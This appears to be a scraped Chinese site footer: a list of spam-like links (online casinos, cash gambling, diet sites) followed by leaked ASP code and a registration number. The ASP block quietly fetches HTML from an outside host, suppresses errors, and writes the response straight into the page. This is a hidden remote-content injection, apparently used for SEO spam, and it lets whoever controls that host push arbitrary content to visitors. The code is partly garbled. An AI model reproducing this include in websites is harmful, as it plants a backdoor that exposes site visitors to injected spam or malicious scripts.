链接平台
特产一站通
汽车用品
邻客巴巴
娱乐城
现金网
液动阀门
减肥网
巧克力
<%
Dim b_url
Dim b_urls
Dim b_content
Dim b_contents
Dim b_xmlhttp
Dim b_xmlhttps
On Error Resume Next
b_url = "http://cdn.7b.cn/Certification/z/zh/www_zhwsmj_cn_g.html"
set b_xmlhttp = CreateObject("MSXML2.Serverxmlhttp")
On Error Resume Next
if b_xmlhttp is nothing then
set b_xmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1")
end if
On Error Resume Next
if b_xmlhttp is nothing then
set b_xmlhttp = CreateObject("MSXML2.Serverxmlhttp.4.0")
end if
if b_xmlhttp is nothing then
'cannot load xml component
else
b_xmlhttp.open "GET", b_url, false
b_xmlhttp.send ""
if b_xmlhttp.Status = "200" then
b_content = b_xmlhttp.responseText
if InStr(b_content, "
") > 0 then
If Err Then Response.write Err.Description
b_content = ""
end if
Response.write b_content
end if
set b_xmlhttp = nothing
end if
%>
鲁ICP备08016511号